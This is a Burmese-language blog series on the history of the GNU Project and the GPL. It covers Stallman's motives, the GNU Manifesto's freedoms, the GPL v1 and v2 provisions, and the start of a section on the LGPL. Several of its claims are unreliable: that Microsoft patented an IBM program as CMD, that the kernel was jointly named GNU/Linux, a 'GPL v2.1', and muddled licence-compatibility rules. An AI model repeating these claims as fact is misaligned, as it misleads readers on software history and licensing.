မှတ်တမ်းတင် ဗီဒီယိုတစ်ခုမှာ Richard Stallman က GNU Project ဖြစ်လာပုံကို ရှင်းပြပါတယ်။ သူက MIT မှာ အဲ့ဒီ အချိန်က research လုပ်နေတဲ့ အချိန်တုန်းက တခြားလူတွေက Lab ထဲက ကွန်ပြူတာတွေကို ရှေ့လူတွေက အသုံးပြုပြီးရင် password ထည့်ပြီး နောက်လူတွေ သုံးမရအောင်လုပ်ခဲ့တဲ့အတွက် သူကတော်တော်လေး အချဉ်ပေါက်ခဲ့ပါတယ်။ ကွန်ပြူတာသုံးမယ်ဆိုပြီး Lab ထဲကိုလာလိုက်ရင် ကွန်ပြူတာတွေက password တွေနဲ့မို့သုံးလို့ မရဖြစ်ခဲ့ရပါတယ်။ အဲ့ဒီလိုမျိုး ဖြစ်တာကို သူကလုံးဝလက်မခံခဲ့ပါဘူး။ အဲ့ဒီတော့ သူက code လေးတစ်ခုရေးပြီး Lab ထဲက ကွန်ပြူတာတွေပေါ်မှာ password နဲ့ ပိတ်ထားလို့မရအောင်လို့လုပ်လိုက်ပါတော့တယ်။ အဲ့ဒီ အချိန်က ကွန်ပြူတာဆိုတာ လက်တစ်ဆုပ်စာ လူတစ်စုကတာ သုံးနိုင်သေးတာမို့သူ အချဉ်ပေါက်တယ်ဆိုလည်း ပေါက်ချင်စရာပါ။ နောက်ပိုင်းမှာ သူကအဲ့ဒါလေးကို အခြေခံပြီးတော့ GNU Project တို့Free Software Foundation (FSF) တို့ကိုစတင်လုပ်ဆောင်ခဲ့ပါတယ်။ Microsoft ကစျေးကြီးလွန်းတဲ့ အိမ်သုံးကွန်ပြူတာတွေအတွက်ထုတ်တဲ့ Windows ကိုလည်း သူကဝေဖန်ခဲ့ပါတယ်။ သိကြပြီးတဲ့အတိုင်း Microsoft က closed source ပါ။ software တွေ application တွေကို ဘယ်လိုမျိုးရေးထားလဲဆိုတာကို မသိရပါဘူး။ ပေးလည်း မပြင်ပါဘူး။ Microsoft က software တွေကို copyright လုပ်ထားပြီး လိုရင်သုံးဖို့support ကို ပိုက်ဆံယူပြီးရောင်းပါတယ်။ အဲ့ဒီတော့ Microsoft သုံးတဲ့သူက software license နဲ့ support ပါဝယ်ယူရတဲ့ သဘောဖြစ်ပါတယ်။ အဲ့ဒါကြောင့်စျေးကလည်း အရမ်းကြီးပါတယ်။ နောက်ပြီး Microsoft License ကို ဝယ်တဲ့သူက နောက်တစ်ယောက်ကို ပြန်ပြီးပေးသုံးလို့ မရပါဘူး။ Terms and Conditions (T\&C) အရ software license ကိုဝယ်တယ်ဆိုတာနဲ့အဲ့ဒီ software ကိုမပိုင်သွားပါဘူး။ Microsoft ကသာပိုင်ပါတယ်။ အသုံးပြူသူက အသုံးပြုခွင့် license ကိုဝယ်လိုက်ခြင်းသာ ဖြစ်ပါတယ်။ များသောအားဖြစ်တော့ Microsoft Windows တွေကို install လုပ်တဲ့ အချိန်မှာ T\&C ကိုဘယ်သူကမှ မဖတ်ပါဘူး။ တောက်လျှောက် Next ကိုသာနှိပ်ပြီးတော့ ခပ်မြန်မြန်လေး installation ပြီးသွားအောင်သာ လုပ်လေ့ရှိလို့အသုံးပြုသူတွေက software license မှာပါတဲ့ အချက်လေးတွေကို ဂရုမထားမိကြပါဘူး။ ဖတ်မယ်ဆိုရင်းလည်း ၁ ရက်လောက်တော့ အချိန်ပေးရမယ်ထင်ပါတယ်။

Richard Stallman ကတော့ software ဆိုတာမျိုးက အလကားဖြစ်သင့်တယ် အလကားသင်ယူခွင့်ရသင့်တယ် ကြိုက်သလိုပြင်ဆင်နိုင်ဖို့Open Source code ဖြစ်သင့်တယ်ဆိုပြီး GNU project ကိုစတင်ခဲ့ပါတယ်။ GNU ရဲ့ အဓိပ္ပာယ်ကတော့ “GNU’s Not Unix”၊ GNU ဆိုတာ Unix မဟုတ်ဘူးဆိုပြီး ဘာသာပြန်ရမယ်ထင်ပါတယ်။ Recursive ဆိုတဲ့ဟာလေးကို သူ့ရဲ့နာမည်မှည့်ပုံလေးမှာထည့်ထားပါတယ်။ Programmer တွေဆိုရင်တော့ recursive ဆိုတာကောင်းကောင်းသိပါတယ်။ မရှိမဖြစ်လိုအပ်တဲ့ Programming Technique တစ်ခုလည်းဖြစ်ပါတယ်။ ပြောချင်တာကတော့ GNU’s Not Unix ရဲ့ အတိုကောက်က GNU ဖြစ်ပါတယ်။ Recursive ကို မြန်မာလို ဥပမာတစ်ခု ပေးရရင်တော့ အိပ်မက်ထဲမှာ အိပ်မက် မက်တဲ့အကြောင်း အိပ်မက် မက်တယ်ဆိုတာမျိုးပေါ့ဗျာ။ Leonardo ရဲ့ Inception ရုပ်ရှင်ထဲမှာလိုပေါ့။ Richard Stallman နဲ့ အဖွဲ့ဟာ GNU Project မှာ Unix နဲ့ ဆင်တူတဲ့ kernel တစ်ခုကိုရေးပါတယ်။ Unix ကတော့ closed source ပါ။ အဲ့ဒီတော့ GNU ဟာ Unix ကနေ ဆင်းသက်လာတဲ့လို့ပြောလို့မရပါဘူး။ GNU ဟာ Unix မဟုတ်ပါဘူးတဲ့ Unix နဲ့ ခပ်ဆင်ဆင်တူအောင်ရေးထားတဲ့ kernel ပါတဲ့ဗျာ။ အဲ့ဒါကြောင့် GNU နဲ့ GNU/Linux ကို Unix alike လို့ပဲသုံးပါတယ်။ Unix derived လို့ မသုံးပါဘူး။ အဲ့ဒီနှစ်ခုက အဓိပ္ပာယ်မတူပါဘူး။ ထားပါတော့ GNU အကြောင်းက GNU GPL အကြောင်းနည်းနည်း ပြောရအောင်ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3a9c60534f7dcaa140587674c9e9a4efeeb184d1%2FInception_2010_theatrical_poster.jpg?alt=media" alt=""><figcaption></figcaption></figure>

GNU GPL ဆိုတာကတော့ အဲ့ဒီ GNU ကို ကာကွယ်ဖို့ထုတ်ပြန်လိုက်တဲ့ license တမျိုး လို့ဆိုရမှာပါ။ နောက်ပိုင်း မှာတော့ GNU GPL ကို software project တွေမှာ သာမက တခြား project တွေမှာပါယူသုံးကြပါတယ်။ GNU GPL ရဲ့ philosophy ကတော့ Copyleft ပါတဲ့ဗျာ။ Copyright ရဲ့ ပြောင်းပြန်ပေါ့။ Richard Stallman ကတော့ Copyleft ကို Copyright လုပ်ထားတယ်လို့ ပြောလေ့ရှိပါတယ်။ တော်တော်လည်းနောက်တဲ့သူပါလေ။ မနည်းနားလည်အောင်သာကြိုးစားပေတော့ ဒီစာကိုဖတ်ရင်း။ GNU GPL ကလည်း လက်ရှိအချိန်ထိဆို version ၃ခုရှိပါတယ်။ ပထမ version ကို ၂၅ရက်နေ့ ဖေဖဝါရီလ ၁၉၈၉ခုနှစ်မှာ စပြီးတော့ Richard Stallman ကမိတ်ဆက် ပေးခဲ့ပါတယ်။ GNU GPL ရဲ့ version တွေ အကြောင်းကိုနောက် တပိုင်းမှာ အသေးစိတ်ထပ်ရေးသွားပါ့မယ်။ အခုလောက်ဆိုရင်တော့ GNU GPL အကြောင်း နည်းနည်းတော့ ရိပ်စားမိမယ်လို့ ထင်ပါတယ်။ မြန်မာနိုင်ငံက developer တွေလည်း နောက်ပိုင်းမှာ GNU GPL ကိုသုံးလာတာ လည်းတွေ့ရပါတယ်။ GNU GPL version တစ်ခုစီမှာ ဘာတွေကိုပြောထားလဲ တစ်ခုနဲ့ တစ်ခုဘာတွေ ကွာခြားလည်းဆိုတာကို နောက်အပိုင်းတွေမှာ ထည့်ပြောသွားပေးပါ့မယ်။

**စကားချပ်**

လက်ရှိ GNU GPL က GNU GPL version 3 ဖြစ်ပါတယ်။ Linux kernel ရဲ့ god လို့တင်စားခံရတဲ့ Linus Torvalds ကတော့ GNU GPL version 3 ကတချို့အချက်တွေမှ သဘောထားကွဲလွဲမှု ရှိပြီးတော့ သူ့ Linux kernel ကို GNU GPL version 2 နဲ့ပဲ register လုပ်ထားပါတယ်။ နောက်တပိုင်းမှာ အသေးစိတ်ထပ် ဖြည့်ပြီးပြောသွားပေးပါ့မယ်။


# Linux မှာသုံးတဲ့ GNU General Public License အကြောင်း အပိုင်း(၂)

GNU Project ကို ၂၇ရက်နေ့ စက်တင်ဘာလ ၁၉၈၃ခုနှစ်မှာ Richard Stallman က Massachusetts Institute of Technology (MIT) မှာအစပြုခဲ့ ပါတယ်။ အဲ့ဒီ Project ဟာ software တွေကို အခမဲ့အသုံးပြုလို့ရအောင်၊ တဘက်ကလည်း developer တွေက programmer တွေက ကုမ္ပဏီကြီး တွေအောက်မှာ အခကြေးငွေမယူပဲ ကိုယ့်ကိုကိုယ် ကိုယ်ပိုင်လွတ်လပ်စွာ ရေးလို့ရအောင်လို့ဆို တဲ့ရည်ရွယ်ချက်ပါ။ အစပိုင်းမှာတော့ အဲ့ဒီလိုမျိုးဆိုတော့ ဘယ်သူမှာ အလုပ်ဖြစ်မယ်လို့ မထင်ပါဘူး။ Project တခုအောင်မြင်ဖို့ဆို စနစ်တစ်ခုလိုတယ် ဆိုပြီး ဘယ်သူမှထင်ကြေးမပေးခဲ့ကြပါဘူး။ တနည်းအားဖြင့် Free ဆိုတဲ့ အဓိပ္ပာယ်ရဲ့အောက်မှာ လူတွေက အထင်မှားခဲ့ကြတာက မြန်မာလို့တော့ အလကားရတဲ့ software ပေါ့ဗျာ။ တန်းဖိုးမရှိဘူး ဆိုတဲ့ အဓိပ္ပာယ်မျိုးထွက် နေတော့ Richard Stallman က “Free as Freedom” ဆိုပြီး နားလည်အောင်ပြန် ပြင်ထားရပါတယ်။ ဥပမာ ဟိုအရင်က Free and Open Source Software (FOSS) ဆိုပြီး ခေါ်ဆိုခဲ့ပေမယ့် နောက်ပိုင်းမှာတော့ Free/Libre and Open Source Software (FLOSS) ဆိုပြီးပြင်ရပါတယ်။ Libre ကတော့ စပိန်စကားက ဆင်းသက်လာတဲ့ Liberty လိုမျိုး အဓိပ္ပာယ်ရတဲ့ လွတ်လပ်ခြင်းဆိုပြီး မြန်မာလို ပြန်ရမယ်ထင်ပါတယ်။ အစပိုင်းတုန်းကတော့ GNU Project ခပ်ကြောင်ကြောင်နိုင်တဲ့ အတွေးခေါ်မျိုးဖြစ်လို့ ဘယ်သူကမှာ အောင်မြင်မယ်လို့ မထင်ထားခဲ့ပါဘူး။ တချိန်ထဲမှာ ဆိုသလို Microsoft ရဲ့ Windows OS နဲ့Apple ရဲ့ Apple I/II တို့ကလည်း စျေးကွက်မှာ တော်တော်လို့နေရာရ နေပါပြီး။ အဲ့ဒီတော့ GNU Project က သာမန် လူတွေကြားထဲမှာ မထင်မရှားပါ။ MIT က နည်းပညာသမားတွေ အတွက်သာ စမ်းသပ်မှု တစ်ခုလို ဖြစ်နေခဲ့ပါတယ်။ Funding ကောင်းကောင်းမရှိတဲ့ အတွက် project ဖြစ်မြောက်ရေးမှာတော်တော်လေးကို အခက်တွေ့ခဲ့ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-5c1ee516ec014f90c9a3ed32c59d1cad13b6016d%2Fdebian_linux_os_black_wallpaper-150x150.png?alt=media" alt=""><figcaption></figcaption></figure>

အစပိုင်းမှာတော့ GNU project က Emacs text editor လို့မျိုး open source software လေးတွေနဲ့ စခဲ့ပါတယ်။ တဖြည်းဖြည်းနဲ့ ကိုယ်ပိုင် C compiler နဲ့လိုအပ်မယ့် အပိုင်းတွေကို ကိုယ်တိုင်ရေးပါတယ်။ အဲ့ဒီနောက်မှာတော့ ကိုယ်ပိုင် kernel တစ်ခုကို ရေးဖို့ကြိုးစားရင်းကနေမှ GNU Hurd လို့ခေါ်တဲ့ microkernel တစ်ခုက ပြီးမြောက်အောင်မြင် ခဲ့ပါတယ်။ အဲ့ဒီတုန်းက GNU Hurd မှာ လိုအပ်ချက်တွေ အများကြီးရှိနေပါတယ်။ stable ဖြစ်တဲ့ kernel ရောက်တဲ့ထိ ခရီးထင်သလောက် မပေါက်ခဲ့ပါဘူး။ နောက်ပိုင်းမှာတော့ Linus Torvalds က ၁၉၉၁ခုနှစ်မှာ C language နဲ့ရေးထားတဲ့ သူ့ကိုယ်ပိုင် kernel တစ်ခုကို public ကိုချပြပါတယ်။ Linus Torvalds ရေးထားတဲ့ kernel က GNU Hurd ထက် stable ဖြစ်ပြီးခရီးပိုပြီးပေါက်ခဲ့ပါတယ်။ အဲ့ဒါကြောင့် open source software တွေ ရေးဖို့ကို Linus Torvalds ရဲ့ kernel မွေးစားလိုက်ကြပါတယ်။ Richard Stallman ကိုယ်တိုင်ကလည်း Linus Torvalds ရဲ့ kernel ကို သဘောတွေ့ခဲ့လို့GNU project က အဲ့ဒီ kernel ကိုယူသုံးခဲ့ပါတယ်။ ဒါကြောင့်လည်း နှစ်ဦး သဘောတူ GNU/Linux ဆိုပြီး အဲ့ဒီ kernel ကို အမည်သမုတ်လိုက်ကြပါတယ်။ လက်ရှိ ပြောနေကြတဲ့ Linux ဆိုတာက အဲ့ဒီ kernel ကြီးကိုခေါ်တာပါ။ အခုထိတိုင် Linux kernel ကို Linus Torvalds ကြီးက maintain လုပ်ပြီး kernel အတွက်လိုအပ်ချက်တော်တော်များများကို ဆုံးဖြတ်ချက်ပေးရပါတယ်။ ကျန်တဲ့ developer တွေ maintainer တွေက community ရဲ့ အကြံတွေကိုယူပြီး လိုအပ်သလို ပြင်ဆင်မှုတွေလုပ်ရပါတယ်။ Linux kernel အကြောင်းနဲ့ Linus Torvalds အကြောင်းကို နောက်ပိုင်း post တစ်ခုမှာ သပ်သပ်ထပ်ရေးဖို့တော့ စဉ်းစားထားပါတယ်။ အခု ဒီမှာတော့ GNU GPL အကြောင်းလေးပြန်သွားလိုက်ရအောင်ဗျာ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-53109b6b90dda16afda9e81ec693f2ac81eb8550%2FLinuxCon_Europe_Linus_Torvalds_03.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ff345ab58f8a17442fc3d355f06fda2024e2bd32%2FTux.svg_-255x300.png?alt=media" alt=""><figcaption></figcaption></figure>

တခြား စီးပွားဖြစ် software တွေကိုရောင်းစားနေတဲ့ Microsoft လို အရင်းရှင်တွေ ရန်က GNU Project ကို ကာကွယ်ဖို့ အတွက် Richard Stallman ကြီးက GNU Manifesto လို့ခေါ်တဲ့ GNU ကြေငြာစာတမ်း ကြီးထုတ်ပြန်ခဲ့ပါတယ်။ စာတမ်းမှာပါတဲ့ အဓိက လိုအပ်သော အချက်ကြီးလေးချက်ကတော့

**၁. program တစ်ခုကို မည့်သည့်ရည်ရွယ်ချက်ဖြင့်မဆို လွတ်လပ်စွာ အသုံးပြုခွင့်**\
**၂. အဲ့ဒီ program ရဲ့ အသေးစိတ် အလုပ်လုပ်ပုံကို သင်ယူလေ့လာခွင့် နှင့် လွတ်လပ်စွာ ပြန်လည်ပြင်ဆင်ခွင့်**\
**၃. program တွေကို လွတ်လပ်စွာပြန်လည် ဖြန့်ဝေခွင့်**\
**၄. လိုအပ်ပါက အဲ့ဒီ program ကို လူတိုင်းအသုံးပြုလို့ရစေရန် ပိုမိုကောင်းမွန်သော version တွေကို လွတ်လပ်စွာ ပြင်ဆင် ဖန်တီးခွင့်**

အထက်ဖော်ပြပါ အချက်တွေကိုလိုက်နာဖို့က အသုံးပြုသူတွေ အနေနဲ့ source code ကို ကူးယူခွင့် မြင်နိုင်ခွင့်ရှိဖို့ လိုအပ်ပါတယ်။ ပုံမှန်အားဖြင့် source code ဆိုတာမျိုးက Microsoft လို platform မှာ မြင်နိုင်ခွင့် ပြင်နိုင်ခွင့် မရှိပါဘူး။ Microsoft ကတော့ source code တွေကို သူတို့ကိုယ်တိုင်ပဲ လိုသလို ပြင်ပြီး Windows Update တွေ hotfix တွေ service pack တွေမှာ ထည့်ပေးပါတယ်။ အဲ့ဒီတော့ အသုံးပြုသူ တွေက source code ကို compile လုပ်ပြီးတော့မှ ထွက်လာတဲ့ executable file တွေကိုပဲ ရပါတယ်။ အသုံးပြုသူ တွေက run ပြီး အသုံးပြုလို့ပဲရပါတယ်။ Reversed Engineering ကိုသိလို့ နားလည်လို့ executable file ကနေ source code ပြန်ပြောင်းပြီး ကြည့်မယ်ဆိုရင်တောင် Microsoft ရဲ့ End User Agreement ကို ချိုးဖောက် ရာကြတဲ့ အတွက် Microsoft က အဲ့ဒီ အသုံးပြုသူကို တရားစွဲဆိုခွင့် ရှိပါတယ်။ အဲ့ဒါကြောင့် closed source code လို့ခေါ်ပါတယ်။ Microsoft က အသုံးပြုသူ ဆီကနေ ငွေယူပြီး အကုန်လုံးကို ချုပ်ကိုင်ထားတဲ့ သဘောပါ။ Software Freedom Activist တွေက အဲ့ဒါကို လုံးဝ သဘောမတွေ့ပါဘူး။ Microsoft ကလည်း Open Source community ကို အပုတ်ချပြောဆိုတာ တွေလည်းရှိခဲ့ပါတယ်။

GNU ကြေငြာစာတမ်း အတိုင်းလိုက်နာဖို့ ဆိုရင် ဥပဒေနည်းလမ်းအရ တရားဝင် license တစ်မျိုးလိုမယ် ဆိုတာကိုလည်း Richard Stallman သိနေခဲ့ပါတယ်။ အဲ့ဒီ license အောက်မှာ ထုတ်တဲ့ software တွေလည်း free အသုံးပြုခွင့် ရရမယ့် အပြင် တခြားလူတွေက source code ကို မြင်နိုင်ပြင်နိုင်အောင်လို့ Open Source ဖြစ်ရမယ့်လို့လည်းဆိုပါတယ်။ နောက်တစ်ပိုင်းမှာတော့ GNU GPL version 1, 2, 2.1, 3 တို့အကြောင်းအသေးစိတ်နဲ့ version အသစ်တွေဖြစ်လာပုံ အကြောင်း ဘာကြောင့် version အသစ်တွေကို Richard Stallman ပြင်ဆင်ခဲ့ရတယ်ဆိုတဲ့ အကြောင်းကို ဆက်ပြီးရေးသွားပါ့မယ်။


# Linux မှာသုံးတဲ့ GNU General Public License အကြောင်း အပိုင်း(၃)

GNU project ကိုကာကွယ်ဖို့ GPL သို့မဟုတ် GNU GPL ကို Richard Stallman က ၁၉၈၉ခုနှစ်မှ GNU project ရဲ့ တစိတ်တပိုင်း အနေနဲ့ စတင်မိတ်ဆက်ပေး ခဲ့ပါတယ်။ အချိန်တော်တော်လေး ကြာမှ GNU GPL ကို စတင်ရေးသားခဲ့တာ ကြည့်ချင်အားဖြင့် GNU project ဟာ အတိုင်းအတာ တစ်ခုထိကို လူသိများပြီးတော့ လူတွေကစတင် အသုံးပြုနေပြီဆိုတာကိုပြနေပါတယ်။ Open Source ဖြစ်တဲ့အတွက် တခြား ကုမ္ပဏီကြီးတွေရဲ့ အသုံးချမူကို မခံအောင် ကိုယ်ပိုင် license တစ်မျိုး စတင်ဖို့လိုအပ်လာပါတယ်။ ဒီလို GPL လို license ရှိလို့လည်း Open Source community ကလည်း သက်တမ်းရှည် ခဲ့တာပါ။ Richard Stallman ကြီးရဲ့ အမြော်အမြင်ကြီးမူ ကိုလည်း ဒီတစ်ခုတည်းနဲ့တင် အထင်ကြီးလေးစား ရမှာပါ။ လိုရင်းဖြစ်တဲ့ GNU GPL v1 အကြောင်းကိုစလိုက်ရအောင်ဗျာ။

## GNU GPL v1

ပထမဦးဆုံး GNU GPL version 1 ကို Richard Stallman က ၂၅ရက်နေ့ဖေဖဝါရီလ ၁၉၈၉ခုနှစ်မှာ စတင်ပြီး မိတ်ဆက်လိုက်ပါတယ်။ အဓိက ကတော့ Free Software နဲ့ Open Source တွေရဲ့ ဖြစ်လာနိုင်တဲ့ ပြဿနာ နှစ်ရပ်ကို ကြိုတင်ကာကွယ်ဖို့ ဖြစ်ပါတယ်။ ပထမတစ်ချက် ကတော့ Open Source သမားတွေရေးထားတဲ့ software တွေကိုလိုအပ်သလို ပြင်ဆင်ပြီးတော့ source code ကို ပြန်ပြီးတော့ နောက်လူတွေကို ပြန်မပေးတော့ပဲ executable file ကိုပဲ public ကို ပြန်ရောင်းမှာ စိုးရိမ်တဲ့အတွက် Richard Stallman က GNU GPL v1 license ရဲ့ အပိုင်းကြီး ၃ အပိုင်းငယ် က နဲ့ခ (Section 3a and 3b) မှာ GPL v1 ကို အသုံးပြုလိုတယ်ဆိုရင်တော့ executable file ကို သာမက source code ကိုပါ တခြားလူတွေ မြင်နိုင်ပြင်နိုင်အောင် ချပြရမယ် လို့ဆိုပါတယ်။

နောက်တချက် ဒုတိယ အချက်ကတော့ GPL v1 ရဲ့ အောက်မှာ register လုပ်ထားတဲ့ software နဲ့source code တွေကို တခြား code တွေနဲ့ရောရင် ဖြစ်လာမယ့် အရှုပ်အရှင်းတွေကို ရှင်းလင်းအောင် လုပ်ထားတဲ့ အပိုင်းဖြစ်ပါတယ်။ အဲ့ဒါ ကတော့ ဘာလဲဆိုတော့ GNU GPL v1 ရဲ့ အပိုင်းကြီး ၂ အပိုင်းငယ် ခ နဲ့အပိုင်းကြီး ၄ (Section 2b and 4) တို့မှာ အခုလိုပြောပါတယ်။ GNU GPL v1 အောက်မှာ register လုပ်ထားတဲ့ software နဲ့source code ကို တခြား code တစ်ခုနဲ့ပေါင်းပြီးတော့ software တစ်ခုဖြစ်အောင် ရေးတဲ့နေရာမှာ အဲ့ဒီလာပေါင်းမယ့် code ကလည်း GPL လို့ခပ်ဆင်ဆင် license ဖြစ်တဲ့ BSD တို့ MIT တို့လို license အောက်မှာ register လုပ်ထားတဲ့ သို့မဟုတ် GPL အောက်မှာ register လုပ်ထားတဲ့ source code နဲ့သာပေါင်းပိုင်ခွင့်ရှိပါတယ်။ အဲ့ဒါမှ မဟုတ်ပဲ စီးပွားဖြစ်ရောင်းစား နေတဲ့ source code (ဥပမာ Microsoft လို ကုမ္ပဏီက ယူသုံးပြီးတော့) အခကြေးငွေယူပြီးတော့ပြန်ရောင်းလို့မရပါဘူး။ အဲ့လိုလုပ်တယ်ဆိုရင်တော့ GPL v1 ကိုချိုးဖောက်ရာကြတဲ့အတွက် တရားစွဲခွင့်ရှိအောင် လုပ်ထားတာပါ။

အဲ့ဒီတော့ ရှင်းပါတယ် GNU Manifesto ထဲမှာ ပြောတဲ့ အဓိက အချက်လေးချက်ကိုပဲ အထောက်အပံ့ ပေးထားတဲ့ သဘောမျိုးပါ။ GNU Manifesto ထဲက အချက်တွေကို အရှေ့ရှင်းပြီးတဲ့အတွက် ပြန်မရှင်းတော့ပါဘူး။ အကျဉ်းချုပ်လိုက်ရင်တော့ GPL v1 မှာဆိုထားတာက GPL v1 ကိုအသုံးပြုချင်ရင် open source ဖြစ်ရမယ်။ လိုသလိုပြင်ဆင် သည်ဖြစ်စေ တခြား source code နဲ့ပေါင်းပြီးတော့ software တစ်ခုရေး လိုသည်ဖြစ်စေ လာပေါင်းမယ် source code က GPL v1 နဲ့ သို့မဟုတ် BSDလို MITလို license တမျိုးမျိုးရဲ့ အောက်မှာ register လုပ်ထားတာဖြစ်ရမယ်။ အဲ့လိုမှ ပြင်ပြီးနောက် GPL v1 ကိုပဲ ဆက်ပြီးလိုက်နာနိုင်မှာဖြစ်တဲ့အတွက်ကြောင့်လို့ဆိုပါတယ်။ GPL v1 ထဲမှာဘာတွေ ပါလည်း အင်္ဂလိပ်လို အသေးစိတ်သိချင်ရင်တော့ ဒီ [link](https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html) ကိုသာ တချက်လောက်ကြည့် လိုက်ပါတယ်။ အချိန်နည်းနည်းပေးပြီး ဖတ်ကြည့်သင့်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bad3165015f67859967647727db26cd8f8f26eb1%2F220px-Stallman_GPLv3_launch_MIT_060116.jpg?alt=media" alt=""><figcaption></figcaption></figure>

## GNU GPL v2

ဇွန်လ ၁၉၉၁ ခုနှစ်မှာတော့ Richard Stallman ကြီးက GNU GPL v2 ကို ထပ်မံထုတ်ရပါတယ်။ GPL v1 ကနေပြီး ကွာခြားသွား တာသိပ်မရှိပေမယ့် အပိုင်းကြီး ၇ (Section 7) မှာပါတဲ့ “Liberty or Death” ဆိုပြီး Richard Stallman ကတင်စားပြောဆိုတဲ့ အချက်ကိုထပ်ထည့် လိုက်တာပါပဲ။ မြန်မာလိုဆို ရရင်တော့ အသားထဲကလောက် မထွက်အောင်လို့ အဖြူဆိုလည်း အဖြူ ၊ အမဲဆိုလည်း အမဲဆိုတာမျိုး ဖြစ်သွားအောင် အခမဲ့ open source ကဆင်းသက်လာတဲ့ software တွေက အခမဲ့ open source ပဲဖြစ်ရမယ်ပေါ့ဗျာ။ အဲ့ဒီတုန်း Richard Stallman က Microsoft တို့လို ကုမ္ပဏီကြီးတွေက စလိုက်တဲ့ patent ဆိုတဲ့ copyright law တွေကိုလည်း လွတ်လွတ်ကင်းကင်းဖြစ်အောင် ထည့်သွင်း စဉ်းစားရတယ်တဲ့။ ဆိုပါတော့ဗျာ လူတစ်ယောက်က free software တစ်ခုကို သူ့နာမည်နဲ့ patent လုပ်လိုက်ရင် အဲ့ဒီလူက နောက်လူတွေ ပြန်ပြီး ဖြန့်ဝေလို့ မရအောင်ပိတ်ပင် လို့ရတယ်ဗျ။ ကိုယ်ပိုင်တဲ့ဟာ မဟုတ်ပဲနဲ့ patent လုပ်လိုက်ရုံနဲ့ရတဲ့ ဥပဒေရဲ့ဘက် လိုက်မှုလိုဆိုရမှာပါ။ ဟိုအရင်တုန်းက Microsoft က IBM ရဲ့ program တစ်ခုကို ယူပြီးတော့ သူ့နာမည်အောက်မှာ patent လုပ်ပြီး Microsoft product တစ်ခုအနေနဲ့ ရောင်းဘူးတယ်ဗျ။ အဲ့ဒါကတော့ အကုန်လုံးသိပြီးသား ဖြစ်တဲ့ Microsoft ရဲ့ CMD ပါ။ အဲ့လိုမဖြစ်အောင်လို့ Richard Stallman က GPL v2 ထုတ်ရပါတယ်။

GPL v2 ရဲ့လိုရင်းကတော့ GPL v2 ကိုမလိုက်နာရင် အဲ့ဒီ license ကို အသုံးပြုခွင့် မရှိသလို၊ အသုံးပြုသူ ကလည်း ပြန်ပြီးတော့ patent လုပ်လို့မရပါဘူး။ အဲ့ဒီ တစ်ချက်ထည့် ဖို့ကို GPL v2 ကို ထုတ်ပြန်ခဲ့ပါတယ်။ ဒီလောက်ဆိုရင် အဲ့ဒီတုန်းက ကုမ္ပဏီကြီးတွေ ဘယ်လောက်တောင် အနိုင်ကျင့် ဘိုကျနေတာ လည်းဆိုတာကို ခန့်မှန်းလို့ရပါတယ်။ အဲ့ဒါကိုကြည့်ခြင်းအား ဖြင့် Richard Stallman ကြီးက ဘယ်လောက်တောင် လွတ်လပ်ခြင်းကို မြတ်နိုးပြီး အကာကွယ်ပေးခဲ့တယ်ဆိုတာကို မြင်နိုင်ပါတယ်။ GPL v2 ကို အင်္ဂလိပ်လို အသေးစိတ်ဖတ်ချင်ရင်တော့ ဒီ [link](https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html) ကနေတဆင့်ဖတ်လို့ရပါတယ်။

နောက်တပိုင်း မှာတော့ GPL v2.1 နဲ့ GPL v3 အကြောင်းကို ဆက်ချင်ပါတယ်။ အဲ့ဒီ နှစ်ခုကနည်းနည်း ရှင်းရမှာများလို့ပါ။ Open Source အတွက် အချိုးအကွေ့တစ်ခုဖြစ်သလို၊ open source သမားတွေကိုယ်တိုင် အမြင်မတူတာတွေ ထိပ်တိုက်တွေ့တာမျိုး တွေရှိလာပါတယ်။ စိတ်ဝင်စားဖို့လည်းကောင်း ပါတယ်။


# Linux မှာသုံးတဲ့ GNU General Public License အကြောင်း အပိုင်း(၄)

GNU GPL v2 ကို ဇွန်လ ၁၉၉၁ခုနှစ် မှာစတင်မိတ်ဆက် တုန်းက Library General Public License ကိုပါ တခါတည်း တွဲပြီးတော့ပါ လာပါတယ်။ LGPL လို့လည်း ခေါ်ပါတယ်။ LGPL ကတော့ C programming မှရှိတဲ့ Library တွေအတွက် အဓိကရည်ရွယ် ခဲ့တာပါ။ Library ထဲက class တွေက မျှဝေသုံးစွဲတဲ့ အခါမှာ ပြဿနာနည်း အောင်လုပ်ထားတဲ့ license တစ်မျိုးဖြစ်ပါတယ်။ နောက်ပိုင်းမှာတော့ LGPL ကို Lesser General Public License လို့နာမည်ပြောင်းလဲခေါ်ဆိုခဲ့ပါတယ်။

## GNU LGPL v2.1

